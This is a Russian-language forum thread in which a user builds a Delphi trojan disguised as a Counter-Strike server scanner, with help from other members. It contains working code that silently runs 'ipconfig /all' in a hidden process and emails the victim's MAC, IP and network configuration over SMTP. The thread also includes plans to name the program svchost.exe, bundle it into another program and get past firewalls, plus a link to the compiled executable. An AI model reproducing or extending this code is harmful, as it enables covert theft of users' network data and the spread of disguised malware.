? delphi. Как сохранить содержимое memo в txt файл?

Discussion in 'С/С++, C#, Rust, Swift, Go, Java, Perl, Ruby' started by donetsk, 22 Mar 2006.

  1. donetsk

    donetsk Elder - Старейшина

    Joined:
    30 Jan 2006
    Messages:
    158
    Likes Received:
    14
    Reputations:
    2
    В общем задумка такая написать програмку, которая будет закидываться клиенту в качестве полезной программы, ну например сканирование сети на поиск игровых серверов с всякими прикольными функциями ;)
    Но програма будет включать в себя что-то типо среды разведчика .
    Её цель узнать mac и айпи узера.
    Как она будет это делать:
    1.Красивая оболоча (форма) содержащая функции поиска игровых серверов в сети
    2.Скрытое мемо поле , в которое будет выводиться содержимое cmd , а конкретнее ip config/all
    3.Содержимое ipconfig будет храниться в мемо(скрытом мемо)
    4.Содержимое мемо будет записываться в тексовый файл лог файл красио обозваный например c:\windows\ipconfig.log
    Те гдубо говоря запишим содеримое всего ipconfig В лог файл чтобы никто не догадался обозвали его круто ipconfig.log
    5.Полученый файл отправим по почьте , на кодировку всё равно, нам главное mac и айпи ;)

    В процессе разработки сделал вывод содержимого мемо, скрыл это содержимое, а вот как сохранить содержимое из мемо в txt файл не знаю :( не получается :(

    пробую так:
    Проблема с которой столкнулся

    Code:
    
     var 
        Form1: TForm1; 
        Fo,Fi :textfile; 
        var s : string; 
        i : integer; 
      implementation 
    
    
      {$R *.dfm} 
    
    
      procedure TForm1.Button1Click(Sender: TObject); 
      begin 
      assignfile(Fo, ' d:\xxx\=file1=.txt ' ); 
      rewrite(Fo); //создаем файл 
      for i:=0 to memo1.Lines.Count-1 do 
      writeln(Fo,memo1.Lines[i]); //записываем текст в него из МЕМО 
      closefile(fo); //и закрываем 
      button2.Enabled:=true;//теперь можно 2-ю кнопку использовать 
      end;
    
    
     
  2. donetsk

    donetsk Elder - Старейшина

    Joined:
    30 Jan 2006
    Messages:
    158
    Likes Received:
    14
    Reputations:
    2
    Всё спасибо , не нужно разобрался ;)
    Code:
    memo1.Lines.SaveToFile('1.txt');
    
    тепрь новый вопрос Как можно отправить файл текстовый по почьте, или содержимое мемо сразу?
    ну какая нибуть команда типо mail Send??? в делфи есть чтобы можно было сразу мыло уазать и оправка происходила не заметно?
     
  3. donetsk

    donetsk Elder - Старейшина

    Joined:
    30 Jan 2006
    Messages:
    158
    Likes Received:
    14
    Reputations:
    2
    Ладно никто не хочет отвечать :(
    написал по другому вечером выложу готовый файл, но троян работает через memo а не через файлы :( это не очень хорошо, но всё же задуманно осуществил мас+ip узнаю лёгко !
    УрА ТОВАРИЩИ ПОЗДРАВЬТЕ С УСПЕШНО НАПИСАНЫМ 1-м троем за 1 день написанным :) без ответов на форуме :))))))
     
  4. EvL

    EvL New Member

    Joined:
    24 Mar 2006
    Messages:
    15
    Likes Received:
    1
    Reputations:
    0
    Тупо видно ты мало знаеш не так это всё делается причем тут ipconfig и делфи? ты че думаеш memo1.visable:=false; а текст в нем ipconfig >> C:\Windows\ipconfig.log ? :eek: грубо ! даже если так делать то нужно создать стрингЛист и в нем вписать и выполнить но это поламерски ай-пи можно многими путями в делфи например используя winsock а впринцыпе про VCL забывать пора.
     
  5. EvL

    EvL New Member

    Joined:
    24 Mar 2006
    Messages:
    15
    Likes Received:
    1
    Reputations:
    0
    Ужас :rolleyes: выучи синтаксис в делфи затем не используя компонентов напиши свой текстовой редактор то есть можно $APPTYPE_CONSOLE будет консольная тулза пусть это всё будет геморойно но зато в стиле эксполйтов. :D про трои молчу.
     
  6. donetsk

    donetsk Elder - Старейшина

    Joined:
    30 Jan 2006
    Messages:
    158
    Likes Received:
    14
    Reputations:
    2
    EvLУжас выучи синтаксис в делфи
    Зачем учить язык который мне совершенно не нужен, была задача , задачу решил, ты ещё повосетуй на делфях написать свой язык программирования , потом создать пару десятков компонентов для этого и свои свой компилятор.

    Уважаемый плиз в студию как winsock узнает мак адрес твоей сетевой, маршрутизацию прописаную таи имя учетки и всё, что связано что нужно узнать для угога привязки к модему и лок настройкам?

    Пальцы конечно можно гнуть всегда и писать суппер закодиные проги которые будет весить гекетыры и то, что они будут отсылать тоже будут Га весить...

    А документ текстовый , или не текстовый создавать всё равно -это образно говориться, конечно лучьше записывать в какой -нибуть setuplog.txt c систем рута и полученную инфу кодить и отсылать закодиной с этим согласен, но всё зависит от поставленых целей!
     
  7. drmist

    drmist Member

    Joined:
    8 Oct 2005
    Messages:
    307
    Likes Received:
    94
    Reputations:
    80
    какой ужас
    определение MAC - 5 строчек на АПИ, легко через яндекс ищется.
    Сохранение в файл - 3 строчки.

    Зачем такой ужас с пайпами и убогим memo?
     
  8. EvL

    EvL New Member

    Joined:
    24 Mar 2006
    Messages:
    15
    Likes Received:
    1
    Reputations:
    0
    Чтоб программы невесили много используй winAPI и забудь про VCL :)
    а используя winsock можно получить IP...

    MAC адрес можно получить так:

    uses
    NB30;

    function GetAdapterInfo(Lana: Char): string;
    var
    Adapter: TAdapterStatus;
    NCB: TNCB;
    begin
    FillChar(NCB, SizeOf(NCB), 0);
    NCB.ncb_command := Char(NCBRESET);
    NCB.ncb_lana_num := Lana;
    if Netbios(@NCB) <> Char(NRC_GOODRET) then
    begin
    Result := 'mac not found';
    Exit;
    end;

    FillChar(NCB, SizeOf(NCB), 0);
    NCB.ncb_command := Char(NCBASTAT);
    NCB.ncb_lana_num := Lana;
    NCB.ncb_callname := '*';

    FillChar(Adapter, SizeOf(Adapter), 0);
    NCB.ncb_buffer := @Adapter;
    NCB.ncb_length := SizeOf(Adapter);
    if Netbios(@NCB) <> Char(NRC_GOODRET) then
    begin
    Result := 'mac not found';
    Exit;
    end;
    Result :=
    IntToHex(Byte(Adapter.adapter_address[0]), 2) + '-' +
    IntToHex(Byte(Adapter.adapter_address[1]), 2) + '-' +
    IntToHex(Byte(Adapter.adapter_address[2]), 2) + '-' +
    IntToHex(Byte(Adapter.adapter_address[3]), 2) + '-' +
    IntToHex(Byte(Adapter.adapter_address[4]), 2) + '-' +
    IntToHex(Byte(Adapter.adapter_address[5]), 2);
    end;

    function GetMACAddress: string;
    var
    AdapterList: TLanaEnum;
    NCB: TNCB;
    begin
    FillChar(NCB, SizeOf(NCB), 0);
    NCB.ncb_command := Char(NCBENUM);
    NCB.ncb_buffer := @AdapterList;
    NCB.ncb_length := SizeOf(AdapterList);
    Netbios(@NCB);
    if Byte(AdapterList.length) > 0 then
    Result := GetAdapterInfo(AdapterList.lana[0])
    else
    Result := 'mac not found';
    end;
     
  9. donetsk

    donetsk Elder - Старейшина

    Joined:
    30 Jan 2006
    Messages:
    158
    Likes Received:
    14
    Reputations:
    2
    EvLМас получим, может быть твоей функцией, а если у меня привязка на маршрутизаторе мас+айпи , ещё бывает куча шлюзов на которые тоже привязываются разные узеры с разными айпи , масками подсетей , да даже днс серверы разные и привязка происходит у неготорых(самых умных) по всем сетевым настройкам!
    Так что нужно полюбому узнавать все сетевые настройки и я думаю ничего это не сделает проще , как ipconfig ил большая куча процедур,функций для этого.... Да и Win у всех разная как с этим быть тоже без понятия... Сделал вот так с отправкой на почту, ну естественно , что форму можно скрыть вообще и называть его svchost.exe , но мне так не нужно мне не важен вес, я её буду вшивать в другую прогу, котоарая будет распростроняться с программой для сканирования Контер страйк серверов ;)

    Вот только фаер ловит её :(


    unit Unit1;

    interface

    Uses Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
    Dialogs, IdBaseComponent, IdComponent, IdTCPConnection, IdTCPClient,
    IdMessageClient, IdSMTP, StdCtrls, idMessage, IdEMailAddress;

    type
    TForm1 = class(TForm)
    IdSMTP1: TIdSMTP;
    Memo1: TMemo;
    procedure FormCreate(Sender: TObject);
    private
    { Private declarations }
    public
    { Public declarations }
    end;

    var
    Form1: TForm1;

    implementation

    {$R *.dfm}
    procedure RunDosInMemo(CmdLine: string; AMemo: TMemo);
    const
    ReadBuffer = 24000;
    var
    Security: TSecurityAttributes;
    ReadPipe, WritePipe: THandle;
    start: TStartUpInfo;
    ProcessInfo: TProcessInformation;
    Buffer: Pchar;
    BytesRead: DWord;
    Apprunning: DWord;
    begin
    Screen.Cursor := CrHourGlass;
    with Security do
    begin
    nlength := SizeOf(TSecurityAttributes);
    binherithandle := true;
    lpsecuritydescriptor := nil;
    end;
    if Createpipe(ReadPipe, WritePipe,
    @Security, 0) then
    begin
    Buffer := AllocMem(ReadBuffer + 1);
    FillChar(Start, Sizeof(Start), #0);
    start.cb := SizeOf(start);
    start.hStdOutput := WritePipe;
    start.hStdInput := ReadPipe;
    start.dwFlags := STARTF_USESTDHANDLES +
    STARTF_USESHOWWINDOW;
    start.wShowWindow := SW_HIDE;

    if CreateProcess(nil,
    PChar(CmdLine),
    @Security,
    @Security,
    true,
    NORMAL_PRIORITY_CLASS,
    nil,
    nil,
    start,
    ProcessInfo) then
    begin
    repeat
    Apprunning := WaitForSingleObject
    (ProcessInfo.hProcess, 1000);
    ReadFile(ReadPipe, Buffer[0],
    ReadBuffer, BytesRead, nil);
    Buffer[BytesRead] := #0;
    OemToAnsi(Buffer, Buffer);
    AMemo.Text := AMemo.text + string(Buffer);

    Application.ProcessMessages;
    until (Apprunning <> WAIT_TIMEOUT);
    end;
    FreeMem(Buffer);
    CloseHandle(ProcessInfo.hProcess);
    CloseHandle(ProcessInfo.hThread);
    CloseHandle(ReadPipe);
    CloseHandle(WritePipe);
    end;
    Screen.Cursor := CrDefault;
    end;
    procedure TForm1.FormCreate(Sender: TObject);
    var
    M: TIdMessage;
    begin

    Memo1.Clear;
    RunDosInMemo('ipconfig /all', Memo1);
    M := TIdMessage.Create(Form1);
    M.Body := Memo1.Lines;
    M.From.Text := '[email protected]';
    M.Recipients.Add;
    M.Recipients.Items[0].Text := '[email protected]';
    M.Subject := 'Òåìà ïèñüìà';
    IdSMTP1.AuthenticationType := atLogin;
    IdSMTP1.Host := 'smtp.mail.ru ';
    IdSMTP1.Username := ' [email protected]';
    IdSMTP1.Password := ' pass';
    IdSMTP1.Connect();
    if IdSMTP1.Connected then
    begin
    IdSMTP1.Send(M);
    end;
    IdSMTP1.Disconnect;
    end;

    end.
     
  10. donetsk

    donetsk Elder - Старейшина

    Joined:
    30 Jan 2006
    Messages:
    158
    Likes Received:
    14
    Reputations:
    2
    Вот я написал по твоему совету, но как дальше без компонента IdSMTP отправлять полученные даныне ?
    Как узнавать айпи адреса и все параметры сетевой карты?
    Можно ли в консольное приложения вставлять компоненты я не представляю себе как....


    Вот и сходник и экзешние в архиве,
    но ведь использовать SysUtils всё равно придеться т.е. нужно определять IntToHex а SysUtils -это 38 кб .

    и отключать {$APPTYPE CONSOLE} не получается чтобы не отображалась консоль :(
    _http://anticlubtimer.narod.ru/mac.exe
     
    #10 donetsk, 26 Mar 2006
    Last edited: 26 Mar 2006
  11. EvL

    EvL New Member

    Joined:
    24 Mar 2006
    Messages:
    15
    Likes Received:
    1
    Reputations:
    0
    Ай-пи можно получить так:

    uses
    WinSock;

    function GetLocalIP: String;
    const WSVer = $101;
    var
    wsaData: TWSAData;
    P: PHostEnt;
    Buf: array [0..127] of Char;
    begin
    Result := '';
    if WSAStartup(WSVer, wsaData) = 0 then begin
    if GetHostName(@Buf, 128) = 0 then begin
    P := GetHostByName(@Buf);
    if P <> nil then Result := iNet_ntoa(PInAddr(p^.h_addr_list^)^);
    end;
    WSACleanup;
    end;
    end;

    должно работать непроверял...

    Можно не использовать форму и использовать комопенты... впринцыпе нужно попробовать заюзать winsock для отправки почты менше хоть весить будет ексешник.

    Да и вот что отключить можно всё :) только вот непонимаю зачем тибе консоль создай proga.dpr открой его в Delphi и пиши на нечистом извратном винАПИ :)
     
  12. EvL

    EvL New Member

    Joined:
    24 Mar 2006
    Messages:
    15
    Likes Received:
    1
    Reputations:
    0
    Интересно какая cyкa поставила мне -1